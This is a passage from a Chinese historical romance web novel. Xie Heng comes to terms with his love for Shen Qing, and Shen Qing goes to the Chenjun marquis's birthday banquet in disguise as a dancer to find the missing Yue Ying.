尤其是闲月在他书房伺候的这几天,只要她站在自己身边研墨,他眼前就总不受控制地浮现出当日画面。 如此,红袖添香也实在是了然无趣。 “去让鸣山来吧。”他终是不耐,出言打断。 闲月顿住手上的动作,一时不知自己做错了什么,忙跪了下来:“请公子责罚。” 本来就是一个窈窕妩媚的妙人儿,此时姿态更是楚楚可怜,想到这两个丫鬟来书房里伺候,定是受了母亲不少嘱意,便道:“与你无关,只是我平时里习惯了鸣山伺候。” 闲月将信将疑小心觑了一眼公子,见他疏离清淡的面容上并无怒意,才稍稍安心,退了出去。 谢珩在书房中翻了两页公文,瞥见门外有人影,以为是鸣山,刚要唤人进来,却见是女子身形玲珑,竟然是去而复返的闲月。 他不由得微蹙起眉头。 “公子,王府的表姑娘来了。”闲月在外轻唤。 “知道了。” 谢珩眉头不见舒展,这时候来谢府找他的王家表姑娘,那只能是王意然了,他无声地在书桌前坐了会,才起身走了出去。 王意然已经盈盈站在院中,见他走出书房,笑意嫣然冲他喊:“珩表哥。” 她今日穿了一件鹅黄对襟襦衫,杏色轻纱褶裙翩然委地,温雅轻快,配上她清甜笑意,满园春色不及她一笑。 “表哥,今日我来给姑母送些作画的颜料,正好听说你也在府上,我新谱的曲子有几处还拿不准,想请珩表哥帮我品鉴指点一二。” 王意然笑着迎上来,怀里抱着的是一只桐木七弦,名唤凤引,是一把绝世名琴。 谢珩垂眸应下:“意然表妹琴艺超绝,我洗耳恭听。” 院中梨树下,簌簌落花如积雪,有一张白玉琴台安置于此,王意然将凤引摆上去,等表哥在一旁撩袍端坐,她才开始凝神抚琴。 凤引声起,梨花雪落。 伴随着珠玉碎落的琴音翩然,万物静籁,连王意然身后的那株梨树,似乎都听懂了这琴音,片片梨花跟随着琴声的音调起伏,落在美人的乌亮的发梢,雪凝的手臂,轻软的裙摆,簌簌纷纷如雪花堆满她身边的琴台和地面。 这是一幅有天籁之音的绝世名画。 院中一切都为之痴倒。 谢珩也看得微微发怔。 一地梨花乱如雪,实在很难让人不想到小金顶上茫茫所见 ,苍山暮雪。 他教过沈青弹琴。 他想起沈青在刚刚碰到乌尾的时候,从乌尾身上发出呕哑嘲哳的声音究竟有多难听,即便他现在耳畔是仙乐缭绕,可脑海中一想到沈青手下那琴音,依然难听到让他眉头微微蹙起。 后来她算是能流畅完整地弹出些简单的曲子了,不过平日里在府上要是听到这琴音,也会忍不住将弹琴之人请出去的。 明明有天下无双的好身手,不知为何偏偏要学这琴,他在心中无声喟叹。 “珩表哥?” 直到听见王意然唤他,他才意识到,原来一曲已经结束了。 王意然说是来请表哥品鉴一番,但其实她对自己的琴技颇为自负,可是刚刚在抚琴时,偶尔留心到表哥,时而凝眉深蹙,时而笑意清浅,倒是让她心中忐忑了起来。 “珩表哥,这曲子……可是颇有瑕疵?” 谢珩摇摇头,由衷赞赏:“意然表妹琴艺早就独步天下,琴音圆润通透,摧山撼玉,我技拙,实在无法再提出更有效的建议了。” 听到谢珩这般夸赞,王意然放下心来,一张小脸如粉雕玉琢般清透,蔓延出少女娇羞。 她大胆提出心中所请:“珩表哥,那日在绿玉园听你新奏《空山》,我便誊了你的新曲,不如今日我们一起合奏一首?” 上品七弦由桐木或乌木制作为佳,整个洛京,乌木之最为谢珩的乌尾,而桐木之最,就是这一只凤引了。 多年前,谢王两家的祖辈曾用这两只古琴合鸣一曲,洛京上下,余音绕梁三日不绝,直到多年后,还有不少名士为曾听过二琴合鸣而引以为谈资。 世人都在期盼,乌尾合凤引的再次合鸣,该是何年何月,又该是何等佳话传世。 谢珩想起,他现在好像已经不太碰乌尾了? 在绿玉园,他弹过一次乌尾,当时他便知道沈青也是那日曲水流觞座中客。 再上一次,好像就是在小金顶了,沈青正受伤卧床,他便给她弹琴解闷。 他现在没有弹琴的兴致,只好回绝道:“就不必了。” 话音一落,两个人都怔住了。 他不想弹琴,只是自己没有兴致,与旁人并无关系,表妹开口相邀,他本该用更委婉的话语来缓拒,没想到一开口就将这样直接的话说了出来。 王意然更是眼巴巴望着表哥,白皙面容上一点清粉的桃红迅速褪去,澄澈的目光里有些许失落,也有些了然。 首岁山与表哥一同上香祈福,她隐隐感受到表哥的心不在焉,只是侥幸表哥不过是性情清冷,并不擅长男女相悦罢了。 今日的靠近与试探,她终于明白过来,表哥谦和文雅,看她的眼神亦是极温柔的,可是,也是没有温度的。 谢珩自觉失言,歉然道:“意然表妹,我只是有些不太想抚琴。” 有过短暂的失落,王意然很快恢复如常,依然笑意盈盈道:“抚琴本来讲究的就是心性,表哥兴致不高,那我们改日再切磋吧。” 可如果真的是面对心爱的女子,怎么会没有兴致博佳人一笑呢? 只不过表哥的兴致,不在她身上。 她起身收了凤引,向谢珩告别:“珩表哥,姑母那边还在作画,我过去看看姑母画到哪一步了。” 谢珩颔首,一时不知该说什么:“好。” 直到王意然那抹鹅黄明媚的身影彻底消失在院中,谢珩重新在那一地梨花堆雪中坐下。 方才表妹脸上转瞬即逝的失落他看在眼中,他觉得是有些惭愧。 他从袖中摸出一枚小竹块,竹面光洁无瑕,是他那日在首岁山问的姻缘签,虽然上面空无一字,不闻大师的“佳偶天成”四个字,却印在他心中。 论家世,论容貌,论品性,论才情,他实在想不到除了王意然,还有谁能与他同担这四个字,尤其在琴棋书画上的深究造诣,王意然或许天下少有的他可以引以为知音的人。 他甚至能够看到,他与王意然结为夫妇后的生活,正是他所理解的“举案齐眉,琴瑟和鸣”,是天下夫妇最好的模样,也是他曾经最向往的婚姻生活。 那就是这么多年来他非常坚定自己将来该过的生活。 他实在挑不出王意然的半分不好,王意然在离开院子的时候,他知道她温雅但颇有傲骨的性子,以后决然不会再主动来找他示好了。 他竟然如释重负。 清雅的身影在梨树下枯坐了整整半日,连衣摆上都铺了一层簌簌梨花。 吟星和闲月面对公子这拒人于千里之外的姿态实在不敢上前,鸣山也很无奈,他家公子原先只是清冷少言,但绝对不是现在这样的一座冰山。 他还是硬着头皮上前:“公子,您都在外面吹了几个时辰的风了,回房去吧。” 谢珩回神,盯着鸣山五官眉眼看了一会,一个浓眉大眼很有精神气的年轻男子。 他视线又错开鸣山,落在不远处的吟星和闲月身上,嗯,花容月貌,各有姿态的两名曼妙女子。 他觉得自己心绪从未有过这样纷乱,也从未有过这般清醒,像是豁然开朗要去做某个决定,他站起身来还没来得及抖落衣摆上的簌簌梨花,款步往院外走去。 “公子,您这是去哪?”鸣山忙追了上去。 “不必跟来。” 谢珩再一次孑然一身穿行于主街的车来人往,这一次他脚下的方向很明确,于众目睽睽下,他径直登上南风楼的阶梯。 第56章 第56章他只是喜欢沈青 谢珩几乎是轻车熟路走向那间包房。 他掀开纱幔进去的时候,王容正懒洋洋枕在一名窈窕女子的膝上,目不转睛看着眼前几名女子细腰曼舞。 见到谢珩,他本能一凛,忙从女子身上挪开坐直了身子,包间内轻歌曼舞戛然而止。 诶,他这表哥,可真是要成南风楼的常客了。 他还好心替沈青遮掩起来:“沈青最近来得可少了,今日上午来坐了会儿,酒都没喝就回去了呢。” 谢珩对此充耳不闻,径直走了进来,拂衣在案前坐下,一身清雅矜贵,实在与这红尘欢场格格不入。 什么情况?不是来找沈青的?总不至于是来找他的吧…… 王容按捺住心中忐忑挥挥手,让包间中歌姬舞女退了出去,谢珩垂眸,看见身边舞姬在离去时有意无意将轻薄如云的披帛拂过他的袖口。 直到所有人退出去,空气里依然氤氲着暗香浮动。 “所以你喜欢的还是女子?” 王容刚从榻上起身在案前坐下,就被这么当头一问,好一会儿才反应过来他问的是什么意思,赶紧给自己撇清:“我什么时候说我喜欢男人了?” 虽然每次沈青在的时候,这包间里点的都是些清俊小倌,那也只是他为了陪她罢了,看看清俊男子倒是也能养眼,但决不能代表他就喜欢男人了。 谢珩不解:“那你不喜欢沈青吗?” 若不喜欢,何以这般殷勤? “喜欢啊,她这样肆意灵动的人,谁不喜欢?” 王容不假思索,将谢珩刚才连续两个问题串联起来,顿时就知道怎么回事了,他眉头一挑,便一副胸有成竹模样给他下了个定论:“喜欢沈青,和喜欢男人,是两回事!” 两回事? 谢珩睫羽微顿,怎么会是两回事?除非……他猝然抬眸,除非他知道了沈青不可为人道的隐疾? 若非同塌而眠这般亲密行为,他怎么会察觉那样的隐疾!? 王容被他突然看过来的凛冽眼神看得背脊一寒,有一瞬间的错觉,他觉得他表哥刚刚差点动手瞬间将他毙命。 他如此好心委婉提醒,咋还不领情呢? 实在不知道自己哪里怎么突然得罪这位表哥,王容默默给两人酒杯满上,隐约凭着本能解释:“我跟沈青每天真就一起喝喝酒听听曲,要不……你也喝一杯?” 谢珩暂敛了周身锐意,面色重新清冷下来,姿态娴雅地将杯中佳酿一饮而尽。 王容盯着谢珩这般豪饮做派,见他清疏面容上无半点波澜,难免痛心疾首,他最擅品鉴美酒佳酿,难道尝不出今日这杯中酒是怎样的稀世珍品吗? 他就这么一口喝了也就罢了,但是喝完不夸点什么吗?知道他花了多少心思来换来这么一壶吗? 虽然心中无比愤懑,但手上还是老老实实又给他满上一杯。 然后他就听到他此生从谢珩口中说出最令人悚然的一句话。 “去叫几个清俊小倌来。” “啊?” 王容彻底顿住,他仔仔细细盯着眼前那张他再熟悉不过的清冷玉容,毛骨悚然地想,表哥是不是被人给夺了魂? 酒杯不觉间被溢满,清冽的琼浆玉液变成桌上狼藉水渍,他赶紧收了手上动作。 “不是……你说什么?” 谢珩眸光澄澈,平静望他,王容不敢再多问,只好招人,真唤了五六个清俊小倌进来。 这几个小倌垂首站在一旁,个个眉清目秀,甚至看起来比沈青还要阴柔几分,通身气派却不似沈青那般纯粹干净,隐隐约约多了些庸俗谄媚。 “平时怎么伺候人的,现在就怎么伺候。”谢珩淡淡开口,语气里听不出任何情绪。 几个小倌立在原处屏气敛声不敢乱动,有跟王容稍微相熟一点的小倌小心翼翼用眼神请示他,得到同样用眼神给予的肯定后,才终于有人大胆上前。 有第一个站出来,后面几个小倌便都纷纷大胆起来。 但谁也不敢真正像平日里伺候客人一样贴上去夹着嗓音撒娇,面对这样一副令人不可逼近亵渎的仙姿玉容,他们也都规规矩矩,立在身后捏肩的捏肩,伏在腿边捶腿的捶腿。 谢珩微合双目,眉峰不动,身如松柏笔挺坐在案前,仿佛无知无觉,像一尊俦美无双的神像,万相皆空,无喜无忧。 有小倌殷切递了满杯佳酿上前,谢珩来者不拒,抬手接过后一饮而尽。 眼前这样的画面在南风楼里,实在算不上出格,但是现在正被几个小倌环绕伺候的人是谢珩,那就很冲击了,王容甚至不敢多看。 他觉得自己此时才像一尊要过江的泥菩萨,对于谢珩今日这样几乎魔怔了的出格举动,他不太确定谢王两家长辈会持怎样的态度,但是让他们知道,今日是他替谢珩招来的这些小倌,他一定会死得很惨。 这么一想,他默默抬起袖子,遮了自己半张脸,但愿少点回去告状的人。 “公子,可要听曲助兴?” 冗长的沉闷过后,很会察言观色的小倌们意识到眼前的客人似乎并不排斥他们,便有了近一步试探。 “不必了,你们都出去吧。” 谢珩清温声回绝,方才那个出声试探的小倌顿时白了脸色,好在看谢珩那张清疏平静的面容上并无反感愠怒,几人对视一眼,忙规规矩矩行了礼,退了出去。 直到所有小倌都退了出去,他才缓缓睁开双目。 王容一张脸从袖子里探出,眼睁睁看着面前这尊神像回了魂,眸中终于有了人类的七情六欲。 “我明白了。” 谢珩的声音很轻,应该不是在跟旁人说话,像是在跟自己笃定了某个答案。 王容明知他不是在跟自己说话,但也忍不住好奇:“你明白什么了?” 谢珩抬眸似在看他,目光确又没有聚焦在他脸上,那双清眸因为刚才急喝了几杯酒而略带水色,澄澄透出一种无比了然的大彻大悟。 小金顶上白雪苍茫,他也不知道自己的一颗心,是在哪一个明月照亮雪色的夜晚,萌生情动。 于冬日的冰天雪地里暗自萌芽,于春日的雨水浸中破土而出。 像万物蓬勃生长,压抑不住,势不可挡。 他很确定,他不是天生断袖,他只是喜欢沈青。 心中千千结,在这一瞬间霍然被解开。 他再次将手边斟满了的酒杯一饮而尽。 一杯后,他眸中水色更深,低喃自语道:“可是又能怎么样呢?” 沈青是男子,有家室,他亲口说过,对他已经没有新鲜感。 况且,他不是谢十三,他是身后背负了整个谢家兴衰重任的谢珩。 所以他喜欢沈青,又能怎么样呢? 王容:“……什么怎么样?” 谢珩没有回应,白皙玉容上酒色更深,一点彻悟释然后的喜悦很快消失,取而代之的是无尽清怨自苦。 他无声地伏倒在案前。 确定眼前这人完全醉倒后,王容不由得“啧”了一声,谁让他不好好用心品鉴这酒,这下知道后劲了吧? 但是他这一壶稀世珍酿可真不算浪费,佳酿虽难得,可是谢珩醉酒才是更难得一见啊!今日总算让他开了眼界。 这人与人之间果然还是区别很大,有的人喝醉了可以大闹天宫九头牛都拉不住,有的人喝醉了竟然可以姿态清雅如斯,俄而若玉山倾倒。 只有在这个时候,王容才敢如此凑近细看他这位清冷如仙的表哥,眉眼五官依旧雕霜斫玉,只有醉倒后依旧微蹙的眉头浮现着淡淡清愁,才与这人世间为情自苦的多情公子并无二致。 虽然知道他听不见,王容还是语重心长一声叹息:“表哥,早说让你没事来南风楼寻欢作乐吧,你偏不听,还说我轻浮,这下受苦的是你自己了吧?” 要不是连男女都分不清,何至于此? 王容盯着眼前的醉容认真思索了一番,决定这苦还是让他先吃一吃。 * 比起在南风楼醉倒的谢珩,此时的沈青正坐在自己府上的议事厅,整个人无比痛苦。 跟晋王碰过头后,她开始着手慢慢从未来将要做的千头万绪中,慢慢理出一点头绪来。 世家门阀联合而成的那道铜墙铁壁,想要彻底将其打碎,以她和晋王联手的能力,也不过是螳臂当车,只能徐徐图之,一点一点从中瓦解。 她手上现成的一个突破口,就是陈郡侯。 既然谢珩不愿意再查岳闻渊的案子,那她就自己查,岳闻渊在出事前任户部侍郎,现在左思禄也在户部任职,加上现在有晋王相助,谢珩查得出的东西,她肯定也能查出来。 陈郡侯背靠四世家,那就先从陈郡侯开刀。 但是事情永远是想的比现实中要更简单,下午左思禄来府上跟她梳理完目前掌握的各种线索和情况后,她整个人魂都要被抽干。 是的,虽然她将一切放手交给左思禄去做,可是她毕竟是最终的掌舵人,该操持的事情,一件都不能少。 从小在渝州匪窝里,习惯了武力上弱肉强食的处事规则,她知道自己是真的不擅长运筹帷幄。 她现在宁可马上出门跟人打上三天三夜的架。 一个人默默在桌前叽叽咕咕一顿腹诽后,她再次痛苦地抓了抓头顶早就被自己抓得松散的发髻,继续对着手上的文书干瞪眼。 “阿青。” 议事房的门忽然被人推开,沈青抬眼看竟然是很久都没走出过自己房间的岳瑛,惊得一下就站起来迎了上去。 “你怎么出来了?现在出来走动有没有不舒服?” 沈青碰到岳瑛指尖,还是冰凉一片,其实郎中早就说过,岳瑛的身子该出来走动走动,只是她到底心病难医,整日只躺在床上,眼看着一日比一日枯瘦下来,今日她竟然愿意主动出门,沈青自然欣喜。 岳瑛虚白着脸,说话也不太有力气,手中端了一碗黑漆漆的药汁递给沈青:“这是我让郎中重新给你配过的药,以后你就照这个方子吃。” 沈青疑惑地想了想:“这几日我没来葵水,为何还要吃药?” “你忘了你受伤落水,郎中说你伤了根本,有孕艰难吗?之前那方子效果不大所以停了,这方子对你身子效果更好。” 沈青有点嫌弃地避开:“可是这个药闻起来就很苦啊,反正我现在也不用生孩子,能不能不吃?” “不行,等你想 生孩子的时候,再喝就来不及了。” “我现在才根本不想生孩子……” 沈青小声嘀咕着,瞥见岳瑛虽然在跟她说话,整个人却轻飘飘的,没魂儿似的,好像一阵风就能把她吹走。 一想到自己这些天太忙,本来就对她疏于关照,现在还反让她拖着病体来关心自己,心中一酸,改口道:“行,我一定按时吃。” 岳瑛苍白着脸,点了点头。 沈青便当着她的面,端了药碗咕咚咕咚将里头药汁喝了个干净,苦得她简直她立刻想将头顶的屋瓦掀开赶紧跳出去绕着院子狠狠跑几圈。 岳瑛并没有想往常那样适时递上蜜饯,她声音也飘飘然的:“你还在查岳家的案子吗?” 沈青点点头:“既然谢珩不查,那我就自己查呗。” 她小心看向岳瑛的脸色,不确定那个名字能不能说:“反正你放心,我肯定会让你父亲沉冤昭雪的,幕后主使,我一个都不会放过。” 岳瑛那张苍白如纸的容颜看不出神色,她只问了句:“你会不会有危险?” 沈青没有想太多:“危险嘛,那肯定是有的,但我还怕他们不成?” 岳瑛一双如井水般枯竭的双目终于有了一点神色,她目光轻轻落在沈青身上,抬起手,是一个姐姐在轻抚妹妹的头顶:“我最不放心的就是你的身子,你总是不记葵水来的日子,哪一天不小心露出破绽就不好了。” 沈青一脸乖顺享受这片刻温柔:“不都是你帮我记着吗?说得你以后好像不给我记了一眼。” 岳瑛没有搭她的话:“你要记着,每个月的日子,是上个月同一日子的两天后,很好记的。” 沈青直觉有些不对:“岳瑛?” 她望着岳瑛,觉得她好像想要哭,但是眼中没有泪水流出。 就在数天前,她还是个笑意明媚的女子呢。 沈青伸出手臂在岳瑛背上拍了拍,脑海中想起陈文轩那一脸文质彬彬的笑意,她咬牙安抚她:“你不要多想,陈郡侯府,一个都跑不掉。” “好。” 岳瑛麻木地点了点头,一双空洞的眼睛很努力地盯着沈青:“阿青,我要走了。” “好,你先回房好好休息。” 沈青目送岳瑛离开,在她合上木门的时候,目光又在她身上流连几许,她那双眼神中是有情绪的,可是因为双目太过于枯竭空洞,沈青完全看不出是什么情绪。 待岳瑛离开,沈青又多派了两个人手关注着她,她才重新回到书桌前,等这几日手上没那么紧,或许可以带岳瑛出去走走,至少她现在是愿意走出自己房门了不是? 她深深吸了口气,再去看案上文书密密麻麻的字迹,突然觉得好像也没那么令人折磨了。 她必须尽快给岳瑛家翻案。 夜幕渐渐落下,沈青将案前的灯点上,就着一张昏灯,继续伏案。 不知不觉间,窗外有濛濛月影,透过连连阴雨的夜空,照出一点朦胧影子。 案前灯盏,因长时间无人剪落灯花,渐渐堙灭。 “不好了!夫人找不到了!” 第57章 第57章原来我可以这般倾国倾城…… 沈青被这一声喊得迷迷瞪瞪睁开眼,看见窗外天光大亮,不知昨晚自己何时竟伏在案上睡着了。 “夫人昨晚将我们支开了一小会,我们一直以为夫人就在房中休息,今天早上进屋服侍夫人的丫鬟才发现人不见了,现在沈府附近都找遍了,还没看见夫人行踪。” 她坐直了身子听人一句一句汇报情况,伏案一夜的混沌彻底清醒过来,她想起昨晚岳瑛来找她时候的种种反常,直觉非常不好。 “把我们在洛京所有能调动的人手都调动起来,就算掘地三尺,也要将人找到。”她尽量让自己保持冷静,吩咐下去后,她先径直去了岳瑛的房间。 岳瑛卧病在床数日,茶饭不思,只靠汤药吊着,房中浓烈的药香经久不散,除此之外,一应事物,一切如常。 别说金银首饰,就是连衣裳,都没有带走一件,一个人在出门的时候,什么都不带上,意味着什么? 一是她很快会回来,如果是这样的话,她不至于支开府中耳目,让所有人都找不到她。 那另一种可能,就是她知道自己以后用不上这些东西了。 沈青心口骤然一缩,声音里不自觉带上颤音:“去,着重去看附近那些水井、游湖、水池……对了,还有各处高楼,去找这些一个人可能有危险的地方。” 她话说得委婉,不过手下的人也都能听明白是怎么回事,有了新的方向,没人敢耽搁,赶紧召了人手四下去寻。 昨晚岳瑛那双看不懂情绪的双眼却始终落在她身上的目光,现在沈青明白了,是她在做最后的告别。 她昨晚就已经在跟她告别了。 沈青只觉得自己身体里五脏六腑在被什么寸寸炸开,脚下软绵绵的,几乎要站不稳,她下意识撑住手边的妆台,深吸几口气好让自己缓和过来。 她现在甚至都害怕,突然有人跑进来告诉她,人找到了。 冷静,这时候可千万要冷静啊! 心里头冲着自己喊了两声,她扶了椅子在妆台前慢慢坐下,镜中分明的一张脸,惨白得了无血色。 妆台上胭脂首饰整理摆放得一丝不苟,看得出主人已经很久没有动过它们了,忽然,沈青目光一凝,被端放在首饰合最上方的,是一枚白玉同心锁。 玉中带红,艳如海棠。 它被放在最触手可及的地方,不知被主人捧在手中,细细摩挲过多少回。 沈青抬手取过那枚同心锁,翻过来一看,背面果然用小字刻了两人的生辰八字。 她脑海中忽然灵光一动,冲了出去,抓了个心腹手下问:“今天是什么日子?” 在那人一脸懵然还未反应过来时,她又问了一遍:“今日是不是陈令知的七十大寿?陈郡侯府今日会大办宴席没错吧?” 不需要对方的回答,沈青已经知道答案。 青影翩然行出院门的时候,正好与一道颀长挺拔的身影撞上,还没看清人,就听到萧瑞的声音在耳边炸开:“大哥,我真不知道嫂子是独自贸然行动,她说这是你吩咐的,我自然也没怀疑,结果刚刚听到说府上正在找人……” “什么什么啊?”沈青望着面前这个连常服都来不及换的少年,因为着急跑了一路,微红的面容上沁出汗珠,连衣襟袖口都被汗水打湿。 “你都知道些什么?慢慢说清楚。” “嫂子来找我,说是你的指意,问我要了一份陈郡侯府府上布局的图纸,又说今日寿宴,你打算往他们府上安插个人,我就去着手安排打点了,但我没想到她把自己安排进去了。刚刚知道府上到处在找人,我才知道这不是你的安排。” 萧瑞一口气不带喘地将来龙去脉说清楚,这下沈青反倒彻底冷静下来,她猜得果然没错,甚至她基本也能猜到,岳瑛现在去陈郡侯府是准备要做什么。 这些事情她一个人办不到,就去诓骗了萧瑞,估计同样又将萧瑞的手下诓骗了过去。 人人都知道岳瑛在她沈青身边的地位,一番筹谋安排,无一人起疑心。 见沈青迟迟不说话,萧瑞都急眼了:“大哥,现在该怎么办啊?” “不行,嫂子这么一个弱女子,我现在潜进陈郡侯府将人找回来 还来得及。” 少年行事如风,说走就走,被沈青拽了腰带一把拉回:“不要命了?堂堂郡侯府上,你想进就进?被人用乱棍打死我可没法子救你。” 萧瑞颓丧:“那大哥是什么意思?” 在宴席之前,只是不动声色偷偷安排一个使粗的丫鬟进府,中间不知费了多少周折和心力,他确实没有本事让自己临时潜进府中将人找到再全须全尾带回。 他暂时清醒过来,明明坚毅的脸上变得满面无措:“大哥,都怪我失察……” 沈青默默觑了一眼身边日渐成熟英武的少年,还是缺乏历练,一遇到事情就偶尔冒出孩子气般急切焦躁。 “现在再安排人手进去已经不现实,还会打草惊蛇,岳瑛想要做出什么行动,应该还来不及这么快,你小心安排人手在陈郡侯府外面周围接应,别让人察觉到,只要府中出现异动,不顾一切护岳瑛出来。” 她迅速做出安排,脚下生风,继续往外面走去:“别愣着了,赶紧按我说的去办。” 萧瑞杵在原地:“大哥,你去哪里?” “我另有安排!” 她的身影比声音消失得更快。 清晨的南风楼在一夜歌舞升平后,依然丝竹靡靡,像是一对情人经过一夜旖旎,温存着互相在耳边絮絮低语。 这次沈青没有大摇大摆在一众姑娘小倌殷切迎接下走进去,而是悄无声息潜入南风楼的内里院中,这一间间房间,才是恩客们真正过夜销魂的地方。 沿着廊下一扇扇梨木雕琢繁复花样的木门从她眼前闪过,其中一扇门上雕出栩栩如生的鸳鸯戏水,她轻手轻脚“吧嗒”一声开了门锁,闪身进去。 暗香浮动,被翻红浪。 鸳鸯被里卧着一双男女,被这忽然闯进来的不速之客吓得俱是一惊。 沈青冲上去捂住那男人的嘴,软硬兼施往他怀里塞了几个沉甸甸的金元宝,终于将人给碾了出去。 连海棠都被她这么突如其来一下,一脸的慵懒妩媚变得惊诧:“沈姑娘?” “抱歉,我有急事,只能找你来帮我做。” 雨后清晨,东窗边有日光点点渗透进来,窗外的海棠花影,铺满整张梨木窗台。 铜镜正对着轩窗,少女正在梳妆。 鬓发如云,绾成宝髻,芙蓉花簪,金凤步摇。 眉是远黛,眼似秋波,额间一点花钿。 肌肤凝霜胜雪,胭脂轻霞,红唇皓齿。 镜中仙姝,不知是何方天人,精工妙笔,勾勒描摹出这样的眉眼神韵。 海棠自负有一张靠皮囊吃饭的好容貌,她并肩将自己的脸与沈青靠在一起,镜中所见,相形见绌得实在残忍。 “沈姑娘有这般容姿,何愁不能艳绝天下?”她由衷艳羡。 沈青憧怔地盯着镜中雪肤花貌,她上一次被一张绝世容颜震慑到呼吸凝滞,还是初见谢珩那一眼。 镜中那张面容明明如此熟悉,她竟然也觉一眼惊鸿到摄人心魄。 她眨眼,镜中的她也眼波流转;她蹙眉,镜中的她也黛眉轻蹙。 镜中的她的的确确就是她自己。 “原来我可以这般倾国倾城啊。”她认真喃喃。 海棠不由得轻笑出来,这话从沈青嘴里一本正经自己夸出来,是旁人学也学不出的天真至纯。 沈青努力回忆起记忆中自己身穿罗裙的模样,应该是六七岁前的事情了吧?到底是什么模样,她已经不太记得起来,后来她只有一身飒飒青衣,从七岁,穿到快十八岁了。 这会儿她又换上一条轻烟淡紫色纱裙,整条裙子繁复美丽,裙摆逶迤,偏偏襟口开得很大,露出一片雪色,海棠给她纤秀玉颈上围上一条与其雪肤相衬的白珠链。 但是让她很不能容忍的是腰间的裁剪,腰上只有一片轻纱薄薄遮挡,轻轻一动,薄纱摇曳,细娇风情一览无余。 虽然她也喜欢看英俊男子的沈腰潘鬓,但人家腰间是用腰带或蹀躞束得劲瘦紧实,绝不是这般露骨招摇。 真的不会着凉吗? “不是,我真的要穿成这样吗?” 她还是不能接受自己穿成这样出门。尤其是,对着铜镜走上两步,明明是很正常的步伐,罗裙摇曳,曼妙身姿在轻纱下若隐若现,这……她头皮都要麻了! 海棠无奈:“沈姑娘,你现在是去人家府上当舞姬的!” 说实话,沈青如此顶着这样一张脸,轻愁浅蹙的模样,她说什么,都很难让人出言去反驳她,于是海棠又上前,从耳后给她挂上一层面纱,挡住那张倾城容颜,只露出一双风情万种的眉眼。 “这样就还不必太过于招摇。” 等日头又高了一些的时候,南风楼去陈郡侯府祝寿的伶人们,由娟娘亲自领着乘了一队马车,从陈郡侯府的侧门进了府中。 沈青抱了一只琵琶走在队伍中,也不知是不是王容跟娟娘打过招呼了,今日前来祝寿庆贺的舞姬歌女,个个都面纱轻罩,只留眉眼。 她们都穿着一样的轻烟紫纱裙,眉间都是一样的海棠花钿,乍一看去,看不出太大区别。 其实最大的问题是,她根本就不会弹琵琶,可是今日所要上场演奏的乐器,也只有琵琶和萧管,这些表演的歌舞曲目还有人数,早就已经在府上报备过,不可能做临时更改。 她牢牢记着海棠的叮嘱,琵琶上场的精髓是半遮面的含蓄,她就在队伍后面抱着琵琶半遮面,假装自己手上在拨弄琴弦,身边的小姐妹的琵琶声会给她掩盖过去的。 贵客们这样的场合,重在喝酒交际,最多不过看一眼前面的舞姿,根本不会有人注意到某个琵琶女的琵琶有没有声音。 陈郡侯府大办宴席,前院时不时有爆竹锣鼓齐鸣,嘈嘈人声时不时传到后院,可见今日人声鼎沸之盛况。 宴席还未开始,她们在后院等着上场助兴的舞姬歌女们,都规规矩矩立在一旁,有半点行差踏错,扰了贵人清净,那就不用活了。 除了南风楼的人,还有其他洛京中一些有名的戏班伶人,以及府中原本的下人杂役多在后院行动。 沈青趁机暗暗留心,岳瑛是被安排进来做了丫鬟,今日郡侯府人多事杂,也不知她被分到了哪里做事。 直到午宴开席,她们被安排到宴厅去歌舞助兴,她也一直没有找到岳瑛的踪迹,只好先跟着娟娘等人进了宴厅,她在队伍最末的位置坐好。 陈郡侯府的宴厅亦是富贵气派,正厅左右两边是一张张独立的案桌,陈郡侯是主人,又是今日寿星,端坐正北的主位,中间空出来的地方,就是用来歌舞助兴的。 歌舞声起,前面舞姬翩翩起舞,后面的歌女清歌缓唱,琵琶与萧管声音靡靡动听,宴厅里一片歌舞升平,觥筹交错。 沈青半张脸被挡在琵琶下,一双纤手仿佛在弦上续续细弹,其实弦上的声音都是来自于身旁另一个弹琵琶的小姐妹。 她的注意力还是在宴席之上。 虽说陈郡侯府这两代有没落之势,看这宾客如云,非富即贵,也知百足之虫死而不僵。 陈文轩现在颇得父亲器重,只坐在父亲下首,一派器宇轩昂的模样,听说跟裴氏好事将近,怪不得这样春风满面,谁舍得跟放弃跟裴氏这样满门富贵的大好联姻呢? 再往后的位置,一道白衣清贵端坐于案前的身影,竟然是谢珩。他明明对陈文轩的恶行了如指掌,却还能成为人家的座上客,甚至还能推杯换盏极具宾主之欢,真是虚伪。 不过沈青现在也没心思管他们。 她在想,如果岳瑛要动手,席间是她最好的机会,也是府中最低阶的丫鬟今日最有机会接近陈郡侯的时候。 只是她暂时还不能完全确定,岳瑛会用怎样的方式动手。 她不会武功,最可行的法子就是下毒。 可是她观察这宴席上的菜式,陈郡侯并没有单独的菜式,都是丫鬟们一道一道依次沿着案席上菜,这样就几乎不可能准确无误地将毒下到陈郡侯或者陈文轩的 碗中。 想得入神间,一曲尽了,她还没回过神来,手指轻嗑在琴弦上,发出极低一声嘤咛。 按理,无人会注意到这样细小的插曲,可惜沈青自己心虚,忙抬眸去看陈郡侯的反应,正好一双盈盈美目与陈郡侯看过来的目光对上。 陈郡侯眼神亮了亮,抬手指她:“你,过来瞧瞧。” 娟娘吓得忙出来跪倒:“姑娘曲艺不精,扰了侯爷雅兴,我回去一定重重责罚,请侯爷饶命啊!” 陈郡侯没有看她,目光始终落在最末的琵琶女身上,她方才一眼望过来的目光流转间,实在让人心神摇曳。 “曲有误,周郎顾。” 他语气中毫无责罚之意,反而带着笑意继续问:“欲得周郎顾,时时误拂弦?” 沈青听这糟老头子念这酸诗就烦,当然,他落在自己身上的目光也让她心里一阵犯恶心,毕竟上次见他,这老头还在御前哭得一把鼻涕一把泪呢,现在就这么一派附庸风雅的虚伪模样。 她干脆抱了琵琶,大大方方走上前去,不管怎样,不能连累了南风楼其他人,她先应付一阵,等着岳瑛出来。 所有人的目光不由得落在这琵琶女身上,眼见这琵琶女一步一步向主位走去,估计又是一个想要攀附权贵在这宴席上闹出这般花样的风尘女。 只是众人在看清她面纱上那副精致绝俗的眉眼时,漫不经心的目光俱是惊艳。 有这般容姿,这权势富贵,何不是探囊取物? 当她莲步缓缓走过谢珩的案前时,谢珩顿了手中酒杯,虽然只能瞥见面纱下微微侧过来的一点眉眼,他的一双清眸再也无法从眼前人身上移开。 陈郡侯早就目瞪口呆,痴痴问了一声:“会弹些什么曲子?” 沈青盈盈福身:“妾身琵琶不精,请献舞一支。” 